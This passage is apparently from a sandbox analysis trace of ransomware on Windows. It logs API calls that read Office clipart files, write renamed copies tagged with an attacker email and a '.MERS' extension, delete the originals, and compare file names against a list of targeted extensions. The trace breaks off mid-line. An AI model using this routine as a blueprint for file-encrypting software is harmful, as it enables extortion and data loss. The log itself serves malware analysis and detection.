office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0268.353] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1596) returned 1 [0268.353] CloseHandle (hObject=0x2c8) returned 1 [0268.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0268.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0268.353] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.353] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0268.354] GetLastError () returned 0x0 [0268.354] ReadFile (in: hFile=0x2c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x63c, lpOverlapped=0x0) returned 1 [0268.476] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x640, lpOverlapped=0x0) returned 1 [0268.478] ReadFile (in: hFile=0x2c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0268.478] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.478] SetEndOfFile (hFile=0x3b0) returned 1 [0268.478] CloseHandle (hObject=0x3b0) returned 1 [0268.478] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.478] SetEndOfFile (hFile=0x2c8) returned 1 [0268.480] CloseHandle (hObject=0x2c8) returned 1 [0268.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0268.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.505] lstrlenW (lpString=".doc") returned 4 [0268.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.505] lstrlenW (lpString=".docx") returned 5 [0268.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.505] lstrlenW (lpString=".pdf") returned 4 [0268.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.505] lstrlenW (lpString=".xls") returned 4 [0268.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.505] lstrlenW (lpString=".xlsx") returned 5 [0268.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.505] lstrlenW (lpString=".ppt") returned 4 [0268.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.505] lstrlenW (lpString=".zip") returned 4 [0268.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.505] lstrlenW (lpString=".rar") returned 4 [0268.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.505] lstrlenW (lpString=".bz2") returned 4 [0268.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString=".7z") returned 3 [0268.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".dbf") returned 4 [0268.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".1cd") returned 4 [0268.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".jpg") returned 4 [0268.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".doc") returned 4 [0268.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString=".docx") returned 5 [0268.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.506] lstrlenW (lpString=".pdf") returned 4 [0268.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString=".xls") returned 4 [0268.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.506] lstrlenW (lpString=".xlsx") returned 5 [0268.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.506] lstrlenW (lpString=".ppt") returned 4 [0268.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".zip") returned 4 [0268.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.506] lstrlenW (lpString=".rar") returned 4 [0268.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString=".bz2") returned 4 [0268.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.506] lstrlenW (lpString=".7z") returned 3 [0268.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.506] lstrlenW (lpString=".dbf") returned 4 [0268.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.507] lstrlenW (lpString=".1cd") returned 4 [0268.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0268.507] lstrlenW (lpString=".jpg") returned 4 [0268.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.507] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.507] lstrlenW (lpString="AN01084_.WMF") returned 12 [0268.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.507] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1832) returned 1 [0268.507] CloseHandle (hObject=0x3c4) returned 1 [0268.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0268.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0268.508] GetLastError () returned 0x0 [0268.508] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x728, lpOverlapped=0x0) returned 1 [0268.609] WriteFile (in: hFile=0x3c8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x730, lpOverlapped=0x0) returned 1 [0268.610] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0268.610] WriteFile (in: hFile=0x3c8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.610] SetEndOfFile (hFile=0x3c8) returned 1 [0268.610] CloseHandle (hObject=0x3c8) returned 1 [0268.610] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.610] SetEndOfFile (hFile=0x3c4) returned 1 [0268.645] CloseHandle (hObject=0x3c4) returned 1 [0268.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString=".doc") returned 4 [0268.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString=".docx") returned 5 [0268.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.839] lstrlenW (lpString=".pdf") returned 4 [0268.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString=".xls") returned 4 [0268.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.839] lstrlenW (lpString=".xlsx") returned 5 [0268.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.839] lstrlenW (lpString=".ppt") returned 4 [0268.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString=".zip") returned 4 [0268.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.839] lstrlenW (lpString=".rar") returned 4 [0268.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString=".bz2") returned 4 [0268.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString=".7z") returned 3 [0268.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString=".dbf") returned 4 [0268.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString=".1cd") returned 4 [0268.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.839] lstrlenW (lpString=".jpg") returned 4 [0268.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString=".doc") returned 4 [0268.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString=".docx") returned 5 [0268.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.840] lstrlenW (lpString=".pdf") returned 4 [0268.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString=".xls") returned 4 [0268.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.840] lstrlenW (lpString=".xlsx") returned 5 [0268.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.840] lstrlenW (lpString=".ppt") returned 4 [0268.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString=".zip") returned 4 [0268.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.840] lstrlenW (lpString=".rar") returned 4 [0268.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString=".bz2") returned 4 [0268.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString=".7z") returned 3 [0268.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString=".dbf") returned 4 [0268.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString=".1cd") returned 4 [0268.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0268.840] lstrlenW (lpString=".jpg") returned 4 [0268.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.841] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.841] lstrlenW (lpString="AN02122_.WMF") returned 12 [0268.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.899] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=7540) returned 1 [0268.899] CloseHandle (hObject=0x3f8) returned 1 [0268.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0268.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.900] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.900] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0268.900] GetLastError () returned 0x0 [0268.900] ReadFile (in: hFile=0x3f8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1d74, lpOverlapped=0x0) returned 1 [0268.902] WriteFile (in: hFile=0x3fc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0268.903] ReadFile (in: hFile=0x3f8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0268.903] WriteFile (in: hFile=0x3fc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.903] SetEndOfFile (hFile=0x3fc) returned 1 [0268.903] CloseHandle (hObject=0x3fc) returned 1 [0268.903] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.903] SetEndOfFile (hFile=0x3f8) returned 1 [0268.905] CloseHandle (hObject=0x3f8) returned 1 [0268.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0268.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".doc") returned 4 [0268.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString=".docx") returned 5 [0268.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.906] lstrlenW (lpString=".pdf") returned 4 [0268.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString=".xls") returned 4 [0268.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.906] lstrlenW (lpString=".xlsx") returned 5 [0268.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.906] lstrlenW (lpString=".ppt") returned 4 [0268.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".zip") returned 4 [0268.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.906] lstrlenW (lpString=".rar") returned 4 [0268.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString=".bz2") returned 4 [0268.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString=".7z") returned 3 [0268.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".dbf") returned 4 [0268.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".1cd") returned 4 [0268.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".jpg") returned 4 [0268.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.906] lstrlenW (lpString=".doc") returned 4 [0268.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString=".docx") returned 5 [0268.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.907] lstrlenW (lpString=".pdf") returned 4 [0268.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString=".xls") returned 4 [0268.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.907] lstrlenW (lpString=".xlsx") returned 5 [0268.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.907] lstrlenW (lpString=".ppt") returned 4 [0268.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.907] lstrlenW (lpString=".zip") returned 4 [0268.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.907] lstrlenW (lpString=".rar") returned 4 [0268.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString=".bz2") returned 4 [0268.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString=".7z") returned 3 [0268.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.907] lstrlenW (lpString=".dbf") returned 4 [0268.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.907] lstrlenW (lpString=".1cd") returned 4 [0268.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0268.907] lstrlenW (lpString=".jpg") returned 4 [0268.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.907] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.908] lstrlenW (lpString="AN02724_.WMF") returned 12 [0268.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0268.910] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2108) returned 1 [0268.910] CloseHandle (hObject=0x404) returned 1 [0268.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0268.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft 